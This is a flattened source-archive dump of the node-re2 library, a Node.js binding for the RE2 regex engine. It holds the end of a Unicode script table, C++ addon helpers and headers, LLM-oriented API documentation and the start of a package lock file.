kRanges_Old_Persian, 2}, {"Old_Sogdian", kRanges_Old_Sogdian, 1}, {"Sogo", kRanges_Old_Sogdian, 1}, {"Old_South_Arabian", kRanges_Old_South_Arabian, 1}, {"Sarb", kRanges_Old_South_Arabian, 1}, {"Old_Turkic", kRanges_Old_Turkic, 3}, {"Orkh", kRanges_Old_Turkic, 3}, {"Old_Uyghur", kRanges_Old_Uyghur, 3}, {"Ougr", kRanges_Old_Uyghur, 3}, {"Oriya", kRanges_Oriya, 18}, {"Orya", kRanges_Oriya, 18}, {"Osage", kRanges_Osage, 6}, {"Osge", kRanges_Osage, 6}, {"Osmanya", kRanges_Osmanya, 2}, {"Osma", kRanges_Osmanya, 2}, {"Pahawh_Hmong", kRanges_Pahawh_Hmong, 5}, {"Hmng", kRanges_Pahawh_Hmong, 5}, {"Palmyrene", kRanges_Palmyrene, 1}, {"Palm", kRanges_Palmyrene, 1}, {"Pau_Cin_Hau", kRanges_Pau_Cin_Hau, 1}, {"Pauc", kRanges_Pau_Cin_Hau, 1}, {"Phags_Pa", kRanges_Phags_Pa, 5}, {"Phag", kRanges_Phags_Pa, 5}, {"Phoenician", kRanges_Phoenician, 2}, {"Phnx", kRanges_Phoenician, 2}, {"Psalter_Pahlavi", kRanges_Psalter_Pahlavi, 4}, {"Phlp", kRanges_Psalter_Pahlavi, 4}, {"Rejang", kRanges_Rejang, 2}, {"Rjng", kRanges_Rejang, 2}, {"Runic", kRanges_Runic, 1}, {"Runr", kRanges_Runic, 1}, {"Samaritan", kRanges_Samaritan, 3}, {"Samr", kRanges_Samaritan, 3}, {"Saurashtra", kRanges_Saurashtra, 2}, {"Saur", kRanges_Saurashtra, 2}, {"Sharada", kRanges_Sharada, 11}, {"Shrd", kRanges_Sharada, 11}, {"Shavian", kRanges_Shavian, 2}, {"Shaw", kRanges_Shavian, 2}, {"Siddham", kRanges_Siddham, 2}, {"Sidd", kRanges_Siddham, 2}, {"Sidetic", kRanges_Sidetic, 1}, {"Sidt", kRanges_Sidetic, 1}, {"SignWriting", kRanges_SignWriting, 3}, {"Sgnw", kRanges_SignWriting, 3}, {"Sinhala", kRanges_Sinhala, 15}, {"Sinh", kRanges_Sinhala, 15}, {"Sogdian", kRanges_Sogdian, 2}, {"Sogd", kRanges_Sogdian, 2}, {"Sora_Sompeng", kRanges_Sora_Sompeng, 2}, {"Sora", kRanges_Sora_Sompeng, 2}, {"Soyombo", kRanges_Soyombo, 1}, {"Soyo", kRanges_Soyombo, 1}, {"Sundanese", kRanges_Sundanese, 2}, {"Sund", kRanges_Sundanese, 2}, {"Sunuwar", kRanges_Sunuwar, 8}, {"Sunu", kRanges_Sunuwar, 8}, {"Syloti_Nagri", kRanges_Syloti_Nagri, 3}, {"Sylo", kRanges_Syloti_Nagri, 3}, {"Syriac", kRanges_Syriac, 18}, {"Syrc", kRanges_Syriac, 18}, {"Tagalog", kRanges_Tagalog, 3}, {"Tglg", kRanges_Tagalog, 3}, {"Tagbanwa", kRanges_Tagbanwa, 4}, {"Tagb", kRanges_Tagbanwa, 4}, {"Tai_Le", kRanges_Tai_Le, 6}, {"Tale", kRanges_Tai_Le, 6}, {"Tai_Tham", kRanges_Tai_Tham, 5}, {"Lana", kRanges_Tai_Tham, 5}, {"Tai_Viet", kRanges_Tai_Viet, 2}, {"Tavt", kRanges_Tai_Viet, 2}, {"Tai_Yo", kRanges_Tai_Yo, 3}, {"Tayo", kRanges_Tai_Yo, 3}, {"Takri", kRanges_Takri, 4}, {"Takr", kRanges_Takri, 4}, {"Tamil", kRanges_Tamil, 25}, {"Taml", kRanges_Tamil, 25}, {"Tangsa", kRanges_Tangsa, 2}, {"Tnsa", kRanges_Tangsa, 2}, {"Tangut", kRanges_Tangut, 6}, {"Tang", kRanges_Tangut, 6}, {"Telugu", kRanges_Telugu, 19}, {"Telu", kRanges_Telugu, 19}, {"Thaana", kRanges_Thaana, 7}, {"Thaa", kRanges_Thaana, 7}, {"Thai", kRanges_Thai, 6}, {"Tibetan", kRanges_Tibetan, 8}, {"Tibt", kRanges_Tibetan, 8}, {"Tifinagh", kRanges_Tifinagh, 7}, {"Tfng", kRanges_Tifinagh, 7}, {"Tirhuta", kRanges_Tirhuta, 8}, {"Tirh", kRanges_Tirhuta, 8}, {"Todhri", kRanges_Todhri, 7}, {"Todr", kRanges_Todhri, 7}, {"Tolong_Siki", kRanges_Tolong_Siki, 2}, {"Tols", kRanges_Tolong_Siki, 2}, {"Toto", kRanges_Toto, 2}, {"Tulu_Tigalari", kRanges_Tulu_Tigalari, 16}, {"Tutg", kRanges_Tulu_Tigalari, 16}, {"Ugaritic", kRanges_Ugaritic, 2}, {"Ugar", kRanges_Ugaritic, 2}, {"Unknown", kRanges_Unknown, 733}, {"Zzzz", kRanges_Unknown, 733}, {"Vai", kRanges_Vai, 1}, {"Vaii", kRanges_Vai, 1}, {"Vithkuqi", kRanges_Vithkuqi, 8}, {"Vith", kRanges_Vithkuqi, 8}, {"Wancho", kRanges_Wancho, 2}, {"Wcho", kRanges_Wancho, 2}, {"Warang_Citi", kRanges_Warang_Citi, 2}, {"Wara", kRanges_Warang_Citi, 2}, {"Yezidi", kRanges_Yezidi, 7}, {"Yezi", kRanges_Yezidi, 7}, {"Yi", kRanges_Yi, 7}, {"Yiii", kRanges_Yi, 7}, {"Zanabazar_Square", kRanges_Zanabazar_Square, 1}, {"Zanb", kRanges_Zanabazar_Square, 1}, }; static const size_t kScriptExtensionsCount = sizeof(kScriptExtensions) / sizeof(UnicodePropertyTable); uhop-node-re2-2d93a5d/lib/util.cc000066400000000000000000000036451521435504200165560ustar00rootroot00000000000000#include "./util.h" void consoleCall(const v8::Local &methodName, v8::Local text) { auto context = Nan::GetCurrentContext(); auto maybeConsole = bind( Nan::Get(context->Global(), Nan::New("console").ToLocalChecked()), [context](v8::Local console) { return console->ToObject(context); }); if (maybeConsole.IsEmpty()) return; auto console = maybeConsole.ToLocalChecked(); auto maybeMethod = bind( Nan::Get(console, methodName), [context](v8::Local method) { return method->ToObject(context); }); if (maybeMethod.IsEmpty()) return; auto method = maybeMethod.ToLocalChecked(); if (!method->IsFunction()) return; Nan::CallAsFunction(method, console, 1, &text); } void printDeprecationWarning(const char *warning) { std::string prefixedWarning = "DeprecationWarning: "; prefixedWarning += warning; consoleCall(Nan::New("error").ToLocalChecked(), Nan::New(prefixedWarning).ToLocalChecked()); } v8::Local callToString(const v8::Local &object) { auto context = Nan::GetCurrentContext(); auto maybeMethod = bind( Nan::Get(object, Nan::New("toString").ToLocalChecked()), [context](v8::Local method) { return method->ToObject(context); }); if (maybeMethod.IsEmpty()) return Nan::New("No toString() is found").ToLocalChecked(); auto method = maybeMethod.ToLocalChecked(); if (!method->IsFunction()) return Nan::New("No toString() is found").ToLocalChecked(); auto maybeResult = Nan::CallAsFunction(method, object, 0, nullptr); if (maybeResult.IsEmpty()) { return Nan::New("nothing was returned").ToLocalChecked(); } auto result = maybeResult.ToLocalChecked(); if (result->IsObject()) { return callToString(result->ToObject(context).ToLocalChecked()); } Nan::Utf8String val(result->ToString(context).ToLocalChecked()); return Nan::New(std::string(*val, val.length())).ToLocalChecked(); } uhop-node-re2-2d93a5d/lib/util.h000066400000000000000000000007011521435504200164060ustar00rootroot00000000000000#pragma once #include "./wrapped_re2.h" template inline v8::MaybeLocal bind(v8::MaybeLocal

param, L lambda) { return param.IsEmpty() ? v8::MaybeLocal() : lambda(param.ToLocalChecked()); } void consoleCall(const v8::Local &methodName, v8::Local text); void printDeprecationWarning(const char *warning); v8::Local callToString(const v8::Local &object); uhop-node-re2-2d93a5d/lib/wrapped_re2.h000066400000000000000000000134631521435504200176540ustar00rootroot00000000000000#pragma once #include #include #include #include #include "./isolate_data.h" struct StrVal { char *data; size_t size, length; size_t index, byteIndex; bool isBuffer, isValidIndex, isBad, isAscii; StrVal() : data(NULL), size(0), length(0), index(0), byteIndex(0), isBuffer(false), isValidIndex(false), isBad(false), isAscii(false) {} operator re2::StringPiece() const { return re2::StringPiece(data, size); } void setIndex(size_t newIndex = 0); void reset(const v8::Local &arg, size_t size, size_t length, size_t newIndex = 0, bool buffer = false, bool ascii = false); void clear() { isBad = isBuffer = isValidIndex = isAscii = false; size = length = index = byteIndex = 0; data = nullptr; } }; class WrappedRE2 : public Nan::ObjectWrap { private: WrappedRE2( const re2::StringPiece &pattern, const re2::RE2::Options &options, const std::string &src, const bool &g, const bool &i, const bool &m, const bool &s, const bool &y, const bool &d) : regexp(pattern, options), source(src), global(g), ignoreCase(i), multiline(m), dotAll(s), sticky(y), hasIndices(d), lastIndex(0) {} static NAN_METHOD(New); static NAN_METHOD(ToString); static NAN_GETTER(GetSource); static NAN_GETTER(GetFlags); static NAN_GETTER(GetGlobal); static NAN_GETTER(GetIgnoreCase); static NAN_GETTER(GetMultiline); static NAN_GETTER(GetDotAll); static NAN_GETTER(GetUnicode); static NAN_GETTER(GetSticky); static NAN_GETTER(GetHasIndices); static NAN_GETTER(GetLastIndex); static NAN_SETTER(SetLastIndex); static NAN_GETTER(GetInternalSource); // RegExp methods static NAN_METHOD(Exec); static NAN_METHOD(Test); // String methods static NAN_METHOD(Match); static NAN_METHOD(Replace); static NAN_METHOD(Search); static NAN_METHOD(Split); // strict Unicode warning support static NAN_GETTER(GetUnicodeWarningLevel); static NAN_SETTER(SetUnicodeWarningLevel); public: ~WrappedRE2(); static v8::Local Init(); static inline bool HasInstance(v8::Local object) { auto isolate = v8::Isolate::GetCurrent(); auto data = getAddonData(isolate); if (!data || data->re2Tpl.IsEmpty()) return false; return data->re2Tpl.Get(isolate)->HasInstance(object); } enum UnicodeWarningLevels { NOTHING, WARN_ONCE, WARN, THROW }; static std::atomic unicodeWarningLevel; static std::atomic alreadyWarnedAboutUnicode; re2::RE2 regexp; std::string source; bool global; bool ignoreCase; bool multiline; bool dotAll; bool sticky; bool hasIndices; size_t lastIndex; friend struct PrepareLastString; private: Nan::Persistent lastString; // weak pointer Nan::Persistent lastCache; // weak pointer StrVal lastStringValue; void dropCache(); const StrVal &prepareArgument(const v8::Local &arg, bool ignoreLastIndex = false); void doneWithLastString(); }; struct PrepareLastString { PrepareLastString(WrappedRE2 *re2, const v8::Local &arg, bool ignoreLastIndex = false) : re2(re2) { re2->prepareArgument(arg, ignoreLastIndex); } ~PrepareLastString() { re2->doneWithLastString(); } operator const StrVal&() const { return re2->lastStringValue; } operator StrVal&() { return re2->lastStringValue; } WrappedRE2 *re2; }; // utilities inline size_t getUtf8Length(const uint16_t *from, const uint16_t *to) { size_t n = 0; while (from != to) { uint16_t ch = *from++; if (ch <= 0x7F) ++n; else if (ch <= 0x7FF) n += 2; else if (0xD800 <= ch && ch <= 0xDFFF) { n += 4; if (from == to) break; ++from; } else if (ch < 0xFFFF) n += 3; else n += 4; } return n; } inline size_t getUtf16Length(const char *from, const char *to) { size_t n = 0; while (from != to) { unsigned ch = *from & 0xFF; if (ch < 0xF0) { if (ch < 0x80) { ++from; } else { if (ch < 0xE0) { from += 2; if (from == to + 1) { ++n; break; } } else { from += 3; if (from > to && from < to + 3) { ++n; break; } } } ++n; } else { from += 4; n += 2; if (from > to && from < to + 4) break; } } return n; } // ASCII (and buffer) offsets are byte-identical to UTF-16 offsets, so the // linear UTF-8 scan can be skipped entirely for those inputs. inline size_t toUtf16Index(bool isAscii, const char *from, const char *to) { return isAscii ? static_cast(to - from) : getUtf16Length(from, to); } inline size_t getUtf8CharSize(char ch) { return ((0xE5000000 >> ((ch >> 3) & 0x1E)) & 3) + 1; } // V8 13.4 introduced Utf8LengthV2 / WriteUtf8V2; V8 14.6 removed the bare // Utf8Length / WriteUtf8. On older V8 (Node 22) only the bare forms exist. #if defined(V8_MAJOR_VERSION) && (V8_MAJOR_VERSION > 13 || \ (V8_MAJOR_VERSION == 13 && defined(V8_MINOR_VERSION) && V8_MINOR_VERSION >= 4)) inline size_t utf8Length(v8::Local s, v8::Isolate *isolate) { return s->Utf8LengthV2(isolate); } inline void writeUtf8(v8::Local s, v8::Isolate *isolate, char *buffer, size_t capacity) { s->WriteUtf8V2(isolate, buffer, capacity); } #else inline size_t utf8Length(v8::Local s, v8::Isolate *isolate) { return static_cast(s->Utf8Length(isolate)); } inline void writeUtf8(v8::Local s, v8::Isolate *isolate, char *buffer, size_t capacity) { s->WriteUtf8(isolate, buffer, static_cast(capacity)); } #endif inline size_t getUtf16PositionByCounter(const char *data, size_t from, size_t n) { for (; n > 0; --n) { size_t s = getUtf8CharSize(data[from]); from += s; if (s == 4 && n >= 2) --n; // this utf8 character will take two utf16 characters // the decrement above is protected to avoid an overflow of an unsigned integer } return from; } uhop-node-re2-2d93a5d/lib/wrapped_re2_set.h000066400000000000000000000021631521435504200205220ustar00rootroot00000000000000#pragma once #include #include #include #include "./isolate_data.h" #include #include class WrappedRE2Set : public Nan::ObjectWrap { public: static v8::Local Init(); static inline bool HasInstance(v8::Local object) { auto isolate = v8::Isolate::GetCurrent(); auto data = getAddonData(isolate); if (!data || data->re2SetTpl.IsEmpty()) return false; return data->re2SetTpl.Get(isolate)->HasInstance(object); } private: WrappedRE2Set(const re2::RE2::Options &options, re2::RE2::Anchor anchor, const std::string &flags) : set(options, anchor), flags(flags), anchor(anchor), maxMem(options.max_mem()) {} static NAN_METHOD(New); static NAN_METHOD(Test); static NAN_METHOD(Match); static NAN_METHOD(ToString); static NAN_GETTER(GetFlags); static NAN_GETTER(GetSources); static NAN_GETTER(GetSource); static NAN_GETTER(GetSize); static NAN_GETTER(GetAnchor); static NAN_GETTER(GetMaxMem); re2::RE2::Set set; std::vector sources; std::string combinedSource; std::string flags; re2::RE2::Anchor anchor; int64_t maxMem; }; uhop-node-re2-2d93a5d/llms-full.txt000066400000000000000000000350111521435504200171640ustar00rootroot00000000000000# node-re2 > Node.js bindings for RE2: a fast, safe alternative to backtracking regular expression engines. Drop-in RegExp replacement that prevents ReDoS (Regular Expression Denial of Service). Works with strings and Buffers. C++ native addon built with node-gyp and nan. - Drop-in replacement for RegExp with linear-time matching guarantee - Prevents ReDoS by disallowing backreferences and lookahead assertions - Full Unicode mode (always on) - Buffer support for high-performance binary/UTF-8 processing - Named capture groups - Symbol-based methods (Symbol.match, Symbol.search, Symbol.replace, Symbol.split, Symbol.matchAll) - RE2.Set for multi-pattern matching - Prebuilt binaries for Linux, macOS, Windows (x64 + arm64) - TypeScript declarations included ## Install ```bash npm install re2 ``` Prebuilt native binaries are downloaded automatically. Falls back to building from source via node-gyp if no prebuilt is available. Both paths run in re2's install script. Under npm 12+ defaults (July 2026), install scripts require approval in the consuming project's `package.json`: run `npm pkg set allowScripts.re2=true --json` before `npm install re2`, otherwise the install fails with `ESTRICTALLOWSCRIPTS`. npm 11.16+ runs the script but prints a warning until approved. ## Quick start ```js const RE2 = require('re2'); // Create and use like RegExp const re = new RE2('a(b*)', 'i'); const result = re.exec('aBbC'); console.log(result[0]); // "aBb" console.log(result[1]); // "Bb" // Works with ES6 string methods 'hello world'.match(new RE2('\\w+', 'g')); // ['hello', 'world'] 'hello world'.replace(new RE2('world'), 'RE2'); // 'hello RE2' ``` ## Importing ```js // CommonJS const RE2 = require('re2'); // ESM import { RE2 } from 're2'; ``` ## Construction `new RE2(pattern[, flags])` or `RE2(pattern[, flags])` (factory mode). Pattern can be: - **String**: `new RE2('\\d+')` - **String with flags**: `new RE2('\\d+', 'gi')` - **RegExp**: `new RE2(/ab*/ig)` — copies pattern and flags. - **RE2**: `new RE2(existingRE2)` — copies pattern and flags. - **Buffer**: `new RE2(Buffer.from('pattern'))` — pattern from UTF-8 buffer. Supported flags: - `g` — global (find all matches) - `i` — ignoreCase - `m` — multiline (`^`/`$` match line boundaries) - `s` — dotAll (`.` matches `\n`) - `u` — unicode (always on, added implicitly) - `y` — sticky (match at lastIndex only) - `d` — hasIndices (include index info for capture groups) Invalid patterns throw `SyntaxError`. Patterns with backreferences or lookahead throw `SyntaxError`. ## Properties ### Instance properties - `re.source` (string) — the pattern string, escaped for use in `new RE2(re.source)` or `new RegExp(re.source)`. - `re.flags` (string) — the flags string (e.g., `'giu'`). - `re.lastIndex` (number) — the index at which to start the next match (used with `g` or `y` flags). - `re.global` (boolean) — whether the `g` flag is set. - `re.ignoreCase` (boolean) — whether the `i` flag is set. - `re.multiline` (boolean) — whether the `m` flag is set. - `re.dotAll` (boolean) — whether the `s` flag is set. - `re.unicode` (boolean) — always `true` (RE2 always operates in Unicode mode). - `re.sticky` (boolean) — whether the `y` flag is set. - `re.hasIndices` (boolean) — whether the `d` flag is set. - `re.internalSource` (string) — the RE2-translated pattern (for debugging; may differ from `source`). ### Static properties - `RE2.unicodeWarningLevel` (string) — controls behavior when a non-Unicode regexp is created: - `'nothing'` (default) — silently add `u` flag. - `'warnOnce'` — warn once, then silently add `u`. Assigning resets the one-time flag. - `'warn'` — warn every time. - `'throw'` — throw `SyntaxError` every time. ## RegExp methods ### re.exec(str) Executes a search for a match. Returns a result array or `null`. ```js const re = new RE2('a(b+)', 'g'); const result = re.exec('abbc abbc'); // result[0] === 'abb' // result[1] === 'bb' // result.index === 0 // result.input === 'abbc abbc' // re.lastIndex === 3 ``` With `d` flag (hasIndices), result has `.indices` property with `[start, end]` pairs for each group. With `g` or `y` flag, advances `lastIndex`. Call repeatedly to iterate matches. ### re.test(str) Returns `true` if the pattern matches, `false` otherwise. ```js new RE2('\\d+').test('abc123'); // true new RE2('\\d+').test('abcdef'); // false ``` With `g` or `y` flag, advances `lastIndex`. ### re.toString() Returns `'/pattern/flags'` string representation. ```js new RE2('abc', 'gi').toString(); // '/abc/giu' ``` ## String methods (via Symbol) RE2 instances implement well-known symbols, so they work directly with ES6 string methods: ### str.match(re) / re[Symbol.match](str) ```js 'test 123 test 456'.match(new RE2('\\d+', 'g')); // ['123', '456'] 'test 123'.match(new RE2('(\\d+)')); // ['123', '123', index: 5, input: 'test 123'] ``` ### str.matchAll(re) / re[Symbol.matchAll](str) Returns an iterator of all matches (requires `g` flag). ```js const re = new RE2('\\d+', 'g'); for (const m of '1a2b3c'.matchAll(re)) { console.log(m[0]); // '1', '2', '3' } ``` ### str.search(re) / re[Symbol.search](str) Returns the index of the first match, or `-1`. ```js 'hello world'.search(new RE2('world')); // 6 ``` ### str.replace(re, replacement) / re[Symbol.replace](str, replacement) Returns a new string with matches replaced. ```js 'aabba'.replace(new RE2('b', 'g'), 'c'); // 'aacca' ``` Replacement string supports: - `$1`, `$2`, ... — numbered capture groups. - `$` — named capture groups. - `$&` — the matched substring. - `` $` `` — portion before the match. - `$'` — portion after the match. - `$$` — literal `$`. Replacement function receives `(match, ...groups, offset, input)`: ```js 'abc'.replace(new RE2('(b)'), (match, g1, offset) => `[${g1}@${offset}]`); // 'a[b@1]c' ``` ### str.split(re[, limit]) / re[Symbol.split](str[, limit]) Splits string by pattern. ```js 'a1b2c3'.split(new RE2('\\d')); // ['a', 'b', 'c', ''] 'a1b2c3'.split(new RE2('\\d'), 2); // ['a', 'b'] ``` ## String methods (direct) These are convenience methods on the RE2 instance with swapped argument order: - `re.match(str)` — equivalent to `str.match(re)`. - `re.search(str)` — equivalent to `str.search(re)`. - `re.replace(str, replacement)` — equivalent to `str.replace(re, replacement)`. - `re.split(str[, limit])` — equivalent to `str.split(re, limit)`. ```js const re = new RE2('\\d+', 'g'); re.match('test 123 test 456'); // ['123', '456'] re.search('test 123'); // 5 re.replace('test 1 and 2', 'N'); // 'test N and N' (global replaces all) re.split('a1b2c'); // ['a', 'b', 'c'] ``` ## Buffer support All methods accept Node.js Buffers (UTF-8) instead of strings. When given Buffer input, they return Buffer output. ```js const re = new RE2('матч', 'g'); const buf = Buffer.from('тест матч тест'); const result = re.exec(buf); // result[0] is a Buffer containing 'матч' in UTF-8 // result.index is in bytes (not characters) ``` Differences from string mode: - All offsets and lengths are in **bytes**, not characters. - Results contain Buffers instead of strings. - Use `buf.toString()` to convert results back to strings. ### useBuffers on replacer functions When using `re.replace(buf, replacerFn)`, the replacer receives string arguments and character offsets by default. Set `replacerFn.useBuffers = true` to receive byte offsets instead: ```js function replacer(match, offset, input) { return '<' + offset + ' bytes>'; } replacer.useBuffers = true; new RE2('б').replace(Buffer.from('абв'), replacer); ``` ## RE2.Set Multi-pattern matching — compile many patterns into a single automaton and test/match against all of them at once. Faster than testing individual patterns when the number of patterns is large. ### Constructor ```js new RE2.Set(patterns[, flagsOrOptions][, options]) ``` - `patterns` — any iterable of strings, Buffers, RegExp, or RE2 instances. - `flagsOrOptions` — optional string/Buffer with flags (apply to all patterns), or options object. - `options.anchor` — `'unanchored'` (default), `'start'`, or `'both'`. - `options.maxMem` — DFA memory budget in bytes (positive integer). Default 8 MiB; raise it when `new RE2.Set(...)` throws `"RE2.Set could not be compiled."` because the union DFA blew the budget. ```js const set = new RE2.Set([ '^/users/\\d+$', '^/posts/\\d+$', '^/api/.*$' ], 'i', {anchor: 'start'}); ``` ### set.test(str) Returns `true` if any pattern matches, `false` otherwise. ```js set.test('/users/42'); // true set.test('/unknown'); // false ``` ### set.match(str) Returns an array of indices of matching patterns, sorted ascending. Empty array if none match. ```js set.match('/users/42'); // [0] set.match('/api/users'); // [2] set.match('/unknown'); // [] ``` ### Properties - `set.size` (number) — number of patterns. - `set.source` (string) — all patterns joined with `|`. - `set.sources` (string[]) — individual pattern sources. - `set.flags` (string) — flags string. - `set.anchor` (string) — anchor mode. - `set.maxMem` (number) — effective DFA memory budget in bytes. ### set.toString() Returns `'/pattern1|pattern2|.../flags'`. ```js set.toString(); // '/^/users/\\d+$|^/posts/\\d+$|^/api/.*$/iu' ``` ## Static helpers ### RE2.getUtf8Length(str) Calculate the byte size needed to encode a UTF-16 string as UTF-8. ```js RE2.getUtf8Length('hello'); // 5 RE2.getUtf8Length('привет'); // 12 ``` ### RE2.getUtf16Length(buf) Calculate the character count needed to encode a UTF-8 buffer as a UTF-16 string. ```js RE2.getUtf16Length(Buffer.from('hello')); // 5 RE2.getUtf16Length(Buffer.from('привет')); // 6 ``` ## Named groups Named capture groups are supported: ```js const re = new RE2('(?\\d{4})-(?\\d{2})-(?\\d{2})'); const result = re.exec('2024-01-15'); result.groups.year; // '2024' result.groups.month; // '01' result.groups.day; // '15' ``` Named backreferences in replacement strings: ```js '2024-01-15'.replace( new RE2('(?\\d{4})-(?\\d{2})-(?\\d{2})'), '$/$/$' ); // '15/01/2024' ``` ## Unicode classes node-re2 accepts the same `\p{...}` escapes as JavaScript `RegExp` with the `u` flag. The MDN reference at https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Unicode_character_class_escape is the canonical spec for what's accepted. ```js // General_Category — long and short names new RE2('\\p{Letter}+'); // \p{L}+ new RE2('\\p{Number}+'); // \p{N}+ new RE2('\\p{gc=Letter}+'); // gc= and General_Category= prefixes new RE2('\\p{General_Category=Letter}+'); // Script and Script_Extensions new RE2('\\p{Script=Latin}+'); // RE2 native new RE2('\\p{sc=Cyrillic}+'); new RE2('\\p{Script_Extensions=Hani}+'); // expanded inline new RE2('\\p{scx=Latn}+'); // ISO 15924 short code // Binary properties — full ECMAScript set new RE2('\\p{Alphabetic}+').test('héllo'); // true new RE2('\\p{ASCII}+').test('Hi!'); // true new RE2('\\p{ID_Start}\\p{ID_Continue}*').test('x1'); // true new RE2('\\p{White_Space}+').test(' \\t\\n'); // true new RE2('\\p{Emoji}').test('😀'); // true new RE2('\\p{Math}').test('∑'); // true // Short aliases from PropertyAliases.txt new RE2('\\p{Alpha}+'); // == Alphabetic new RE2('\\p{Hex}+'); // == Hex_Digit new RE2('\\p{Lower}+'); // == Lowercase // Negation and use inside character classes new RE2('\\P{ASCII}+'); // non-ASCII new RE2('[\\p{L}\\p{Emoji}]+'); // letters or emoji new RE2('[^\\p{ASCII}]+'); // negated inside class ``` **Not supported:** *Properties of Strings* (`\p{Basic_Emoji}`, `\p{RGI_Emoji}`, etc.). These match multi-codepoint sequences and require the `v` flag, which RE2 does not model. Trying to use one throws a syntax error at compile time. Tables are baked in from Unicode 17.0 (devDependency `@unicode/unicode-17.0.0`). Bump the package and run `node scripts/gen-unicode-properties.mjs` to target a newer Unicode version. ## Limitations RE2 does **not** support: - **Backreferences** (`\1`, `\2`, etc.) — throw `SyntaxError`. - **Lookahead assertions** (`(?=...)`, `(?!...)`) — throw `SyntaxError`. - **Lookbehind assertions** (`(?<=...)`, `(? 0 ? matches[0] : -1; } findRoute('/users/42'); // 0 findRoute('/posts/7'); // 1 findRoute('/api/v2/foo'); // 2 findRoute('/unknown'); // -1 ``` ### Validate user-supplied patterns safely ```js const RE2 = require('re2'); function safeMatch(input, pattern, flags) { try { const re = new RE2(pattern, flags); return re.test(input); } catch (e) { return false; // invalid pattern } } ``` ## TypeScript ```ts import RE2 from 're2'; const re: RE2 = new RE2('\\d+', 'g'); const result: RegExpExecArray | null = re.exec('test 123'); // Buffer overloads const bufResult: RE2BufferExecArray | null = re.exec(Buffer.from('test 123')); // RE2.Set const set: RE2Set = new RE2.Set(['a', 'b'], 'i'); const matches: number[] = set.match('abc'); ``` ## Project structure notes - Entry point: `re2.js` (loads native addon), types: `re2.d.ts`. - C++ addon source: `lib/*.cc`, `lib/*.h`. - Tests: `tests/test-*.mjs` (runtime), `ts-tests/test-*.ts` (type-checking). - Vendored dependencies: `vendor/re2/`, `vendor/abseil-cpp/` (git submodules) — **never modify files under `vendor/`**. ## Links - Docs: https://github.com/uhop/node-re2/wiki - npm: https://www.npmjs.com/package/re2 - Repository: https://github.com/uhop/node-re2 - RE2 syntax: https://github.com/google/re2/wiki/Syntax uhop-node-re2-2d93a5d/llms.txt000066400000000000000000000104021521435504200162210ustar00rootroot00000000000000# node-re2 > Node.js bindings for RE2: a fast, safe alternative to backtracking regular expression engines. Drop-in RegExp replacement that prevents ReDoS. Works with strings and Buffers. ## Install npm install re2 Under npm 12+ defaults, re2's install script (binary download / build) needs approval in the consuming project: run `npm pkg set allowScripts.re2=true --json` before `npm install re2`. ## Quick start ```js // CommonJS const RE2 = require('re2'); // ESM import {RE2} from 're2'; const re = new RE2('a(b*)', 'i'); const result = re.exec('aBbC'); console.log(result[0]); // "aBb" console.log(result[1]); // "Bb" ``` ## Why use node-re2? The built-in Node.js RegExp engine can run in exponential time with vulnerable patterns (ReDoS). RE2 guarantees linear-time matching by disallowing backreferences and lookahead assertions. ## API ### Construction ```js const RE2 = require('re2'); const re1 = new RE2('\\d+'); // from string const re2 = new RE2('\\d+', 'gi'); // with flags const re3 = new RE2(/ab*/ig); // from RegExp const re4 = new RE2(re3); // from another RE2 const re5 = RE2('\\d+'); // factory (no new) ``` Supported flags: `g` (global), `i` (ignoreCase), `m` (multiline), `s` (dotAll), `u` (unicode, always on), `y` (sticky), `d` (hasIndices). ### RegExp methods - `re.exec(str)` — find match with capture groups. - `re.test(str)` — boolean match check. - `re.toString()` — `/pattern/flags` representation. ### String methods (via Symbol) RE2 instances work with ES6 string methods: ```js 'abc'.match(re); 'abc'.search(re); 'abc'.replace(re, 'x'); 'abc'.split(re); Array.from('abc'.matchAll(re)); ``` ### String methods (direct) - `re.match(str)` — equivalent to `str.match(re)`. - `re.search(str)` — equivalent to `str.search(re)`. - `re.replace(str, replacement)` — equivalent to `str.replace(re, replacement)`. - `re.split(str[, limit])` — equivalent to `str.split(re, limit)`. ### Properties - `re.source` — pattern string. - `re.flags` — flags string. - `re.lastIndex` — index for next match (with `g` or `y` flag). - `re.global`, `re.ignoreCase`, `re.multiline`, `re.dotAll`, `re.unicode`, `re.sticky`, `re.hasIndices` — boolean flag accessors. - `re.internalSource` — RE2-translated pattern (for debugging). ### Buffer support All methods accept Buffers (UTF-8) instead of strings. Buffer input produces Buffer output. Offsets are in bytes. ```js const re = new RE2('матч', 'g'); const buf = Buffer.from('тест матч тест'); const result = re.exec(buf); // result[0] is a Buffer ``` ### RE2.Set Multi-pattern matching — test a string against many patterns at once. ```js const set = new RE2.Set(['^/users/\\d+$', '^/posts/\\d+$'], 'i'); set.test('/users/7'); // true set.match('/posts/42'); // [1] set.sources; // ['^/users/\\d+$', '^/posts/\\d+$'] ``` - `new RE2.Set(patterns[, flags][, options])` — compile patterns. - `options.anchor`: `'unanchored'` (default), `'start'`, or `'both'`. - `options.maxMem`: DFA memory budget in bytes (positive integer). Default 8 MiB; raise to compile larger sets that otherwise throw `"RE2.Set could not be compiled."`. - `set.test(str)` — returns `true` if any pattern matches. - `set.match(str)` — returns array of matching pattern indices. - Properties: `size`, `source`, `sources`, `flags`, `anchor`, `maxMem`. ### Static helpers - `RE2.getUtf8Length(str)` — byte size of string as UTF-8. - `RE2.getUtf16Length(buf)` — character count of UTF-8 buffer as UTF-16 string. - `RE2.unicodeWarningLevel` — `'nothing'` (default), `'warnOnce'`, `'warn'`, or `'throw'`. ## Limitations RE2 does not support: - **Backreferences** (`\1`, `\2`, etc.) - **Lookahead assertions** (`(?=...)`, `(?!...)`) These throw `SyntaxError`. Use try-catch to fall back to RegExp when needed: ```js let re = /pattern-with-lookahead/; try { re = new RE2(re); } catch (e) { /* use original RegExp */ } ``` ## Project notes - C++ addon source is in `lib/`. Vendored deps (`vendor/re2/`, `vendor/abseil-cpp/`) are git submodules — **never modify files under `vendor/`**. ## Links - Docs: https://github.com/uhop/node-re2/wiki - npm: https://www.npmjs.com/package/re2 - Full LLM reference: https://github.com/uhop/node-re2/blob/master/llms-full.txt uhop-node-re2-2d93a5d/package-lock.json000066400000000000000000000353371521435504200177430ustar00rootroot00000000000000{ "name": "re2", "version": "1.25.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "re2", "version": "1.25.0", "hasInstallScript": true, "license": "BSD-3-Clause", "dependencies": { "install-artifact-from-github": "^1.6.0", "nan": "^2.27.0", "node-gyp": 